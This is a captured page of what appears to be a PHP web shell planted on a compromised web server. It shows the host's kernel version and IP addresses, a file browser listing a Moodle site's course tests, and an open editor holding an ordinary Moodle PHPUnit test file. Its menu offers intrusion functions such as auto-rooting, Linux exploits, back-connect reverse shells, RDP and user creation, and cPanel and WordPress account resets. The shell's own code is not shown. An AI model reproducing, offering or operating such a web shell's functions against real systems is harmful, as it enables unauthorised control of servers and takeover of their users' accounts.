Linux aries.aptans.com 4.18.0-348.20.1.lve.1.el8.x86_64 #1 SMP Wed Mar 16 08:45:39 EDT 2022 x86_64
Apache
: 135.181.142.107 | : 172.69.7.46
Cant Read [ /etc/named.conf ]
7.4.33
aja
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
README
+ Create Folder
+ Create File
/
home /
aja /
public_html /
ead.aptans /
course /
tests /
[ HOME SHELL ]
Name
Size
Permission
Action
analytics
[ DIR ]
drwxr-xr-x
backup
[ DIR ]
drwxr-xr-x
behat
[ DIR ]
drwxr-xr-x
event
[ DIR ]
drwxr-xr-x
fixtures
[ DIR ]
drwxr-xr-x
privacy
[ DIR ]
drwxr-xr-x
search
[ DIR ]
drwxr-xr-x
caching_content_item_readonly_...
3.55
KB
-rw-r--r--
category_hooks_test.php
9.03
KB
-rw-r--r--
category_test.php
57.8
KB
-rw-rw-r--
content_item_readonly_reposito...
4.02
KB
-rw-r--r--
content_item_test.php
2.88
KB
-rw-rw-r--
course_format_function_test.ph...
3.23
KB
-rw-rw-r--
course_image_cache_test.php
7.31
KB
-rw-r--r--
course_summary_exporter_test.p...
2.64
KB
-rw-r--r--
courseformat_test.php
13.22
KB
-rw-rw-r--
courselib_test.php
305.35
KB
-rw-rw-r--
courserequest_test.php
7.17
KB
-rw-r--r--
customfield_test.php
7.16
KB
-rw-r--r--
exporters_content_item_test.ph...
5.61
KB
-rw-rw-r--
exporters_content_items_test.p...
2.72
KB
-rw-r--r--
externallib_test.php
174.51
KB
-rw-rw-r--
management_helper_test.php
65.16
KB
-rw-rw-r--
modlib_test.php
6.7
KB
-rw-rw-r--
services_content_item_service_...
11.82
KB
-rw-r--r--
targets_test.php
26.92
KB
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : category_hooks_test.php
<?php // This file is part of Moodle - http://moodle.org/ // // Moodle is free software: you can redistribute it and/or modify // it under the terms of the GNU General Public License as published by // the Free Software Foundation, either version 3 of the License, or // (at your option) any later version. // // Moodle is distributed in the hope that it will be useful, // but WITHOUT ANY WARRANTY; without even the implied warranty of // MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the // GNU General Public License for more details. // // You should have received a copy of the GNU General Public License // along with Moodle. If not, see <http://www.gnu.org/licenses/>. /** * Tests for class core_course_category methods invoking hooks. * * @package core_course * @category test * @copyright 2020 Ruslan Kabalin * @license http://www.gnu.org/copyleft/gpl.html GNU GPL v3 or later */ namespace core_course; defined('MOODLE_INTERNAL') || die(); global $CFG; require_once($CFG->dirroot . '/course/tests/fixtures/mock_hooks.php'); use PHPUnit\Framework\MockObject\MockObject; use core_course\test\mock_hooks; /** * Functional test for class core_course_category methods invoking hooks. */ class category_hooks_test extends \advanced_testcase { protected function setUp(): void { $this->resetAfterTest(); $this->setAdminUser(); } /** * Provides mocked category configured for named callback function. * * get_plugins_callback_function will return callable prefixed with `tool_unittest_`, * the actual callbacks are defined in mock_hooks.php fixture file. * * @param core_course_category $category Category to mock * @param string $callback Callback function used in method we test. * @return MockObject */ public function get_mock_category(\core_course_category $category, string $callback = '') : MockObject { // Setup mock object for \core_course_category. // Disable original constructor, since we can't use it directly since it is private. $mockcategory = $this->getMockBuilder(\core_course_category::class) ->onlyMethods(['get_plugins_callback_function']) ->disableOriginalConstructor() ->getMock(); // Define get_plugins_callback_function use and return value. if (!empty($callback)) { $mockcategory->method('get_plugins_callback_function') ->with($this->equalTo($callback)) ->willReturn(['tool_unittest_' . $callback]); } // Modify constructor visibility and invoke mock object with real object. // This is used to overcome private constructor. $reflected = new \ReflectionClass(\core_course_category::class); $constructor = $reflected->getConstructor(); $constructor->setAccessible(true); $constructor->invoke($mockcategory, $category->get_db_record()); return $mockcategory; } public function test_can_course_category_delete_hook() { $category1 = \core_course_category::create(array('name' => 'Cat1')); $category2 = \core_course_category::create(array('name' => 'Cat2', 'parent' => $category1->id)); $category3 = \core_course_category::create(array('name' => 'Cat3')); $mockcategory2 = $this->get_mock_category($category2, 'can_course_category_delete'); // Add course to mocked clone of category2. $course1 = $this->getDataGenerator()->create_course(array('category' => $mockcategory2->id)); // Now configure fixture to return false for the callback. mock_hooks::set_can_course_category_delete_return(false); $this->assertFalse($mockcategory2->can_delete_full($category3->id)); // Now configure fixture to return true for the callback. mock_hooks::set_can_course_category_delete_return(true); $this->assertTrue($mockcategory2->can_delete_full($category3->id)); // Verify passed arguments. $arguments = mock_hooks::get_calling_arguments(); $this->assertCount(1, $arguments); // Argument 1 is the same core_course_category instance. $argument = array_shift($arguments); $this->assertSame($mockcategory2, $argument); } public function test_can_course_category_delete_move_hook() { $category1 = \core_course_category::create(array('name' => 'Cat1')); $category2 = \core_course_category::create(array('name' => 'Cat2', 'parent' => $category1->id)); $category3 = \core_course_category::create(array('name' => 'Cat3')); $mockcategory2 = $this->get_mock_category($category2, 'can_course_category_delete_move'); // Add course to mocked clone of category2. $course1 = $this->getDataGenerator()->create_course(array('category' => $mockcategory2->id)); // Now configure fixture to return false for the callback. mock_hooks::set_can_course_category_delete_move_return(false); $this->assertFalse($mockcategory2->can_move_content_to($category3->id)); // Now configure fixture to return true for the callback. mock_hooks::set_can_course_category_delete_move_return(true); $this->assertTrue($mockcategory2->can_move_content_to($category3->id)); // Verify passed arguments. $arguments = mock_hooks::get_calling_arguments(); $this->assertCount(2, $arguments); // Argument 1 is the same core_course_category instance. $argument = array_shift($arguments); $this->assertSame($mockcategory2, $argument); // Argument 2 is referring to category 3. $argument = array_shift($arguments); $this->assertInstanceOf(\core_course_category::class, $argument); $this->assertEquals($category3->id, $argument->id); } public function test_pre_course_category_delete_hook() { $category1 = \core_course_category::create(array('name' => 'Cat1')); $category2 = \core_course_category::create(array('name' => 'Cat2', 'parent' => $category1->id)); $mockcategory2 = $this->get_mock_category($category2, 'pre_course_category_delete'); $mockcategory2->delete_full(); // Verify passed arguments. $arguments = mock_hooks::get_calling_arguments(); $this->assertCount(1, $arguments); // Argument 1 is the category object. $argument = array_shift($arguments); $this->assertEquals($mockcategory2->get_db_record(), $argument); } public function test_pre_course_category_delete_move_hook() { $category1 = \core_course_category::create(array('name' => 'Cat1')); $category2 = \core_course_category::create(array('name' => 'Cat2', 'parent' => $category1->id)); $category3 = \core_course_category::create(array('name' => 'Cat3')); $mockcategory2 = $this->get_mock_category($category2, 'pre_course_category_delete_move'); // Add course to mocked clone of category2. $course1 = $this->getDataGenerator()->create_course(array('category' => $mockcategory2->id)); $mockcategory2->delete_move($category3->id); // Verify passed arguments. $arguments = mock_hooks::get_calling_arguments(); $this->assertCount(2, $arguments); // Argument 1 is the same core_course_category instance. $argument = array_shift($arguments); $this->assertSame($mockcategory2, $argument); // Argument 2 is referring to category 3. $argument = array_shift($arguments); $this->assertInstanceOf(\core_course_category::class, $argument); $this->assertEquals($category3->id, $argument->id); } public function test_get_course_category_contents_hook() { $category1 = \core_course_category::create(array('name' => 'Cat1')); $category2 = \core_course_category::create(array('name' => 'Cat2', 'parent' => $category1->id)); $mockcategory2 = $this->get_mock_category($category2); // Define get_plugins_callback_function use in the mock, it is called twice for different callback in the form. $mockcategory2->expects($this->exactly(2)) ->method('get_plugins_callback_function') ->withConsecutive( [$this->equalTo('can_course_category_delete')], [$this->equalTo('get_course_category_contents')] ) ->willReturn( ['tool_unittest_can_course_category_delete'], ['tool_unittest_get_course_category_contents'] ); // Now configure fixture to return string for the callback. $content = 'Bunch of test artefacts'; mock_hooks::set_get_course_category_contents_return($content); $mform = new \core_course_deletecategory_form(null, $mockcategory2); $this->expectOutputRegex("/<li>$content<\/li>/"); $mform->display(); // Verify passed arguments. $arguments = mock_hooks::get_calling_arguments(); $this->assertCount(1, $arguments); // Argument 1 is the same core_course_category instance. $argument = array_shift($arguments); $this->assertSame($mockcategory2, $argument); } }
Close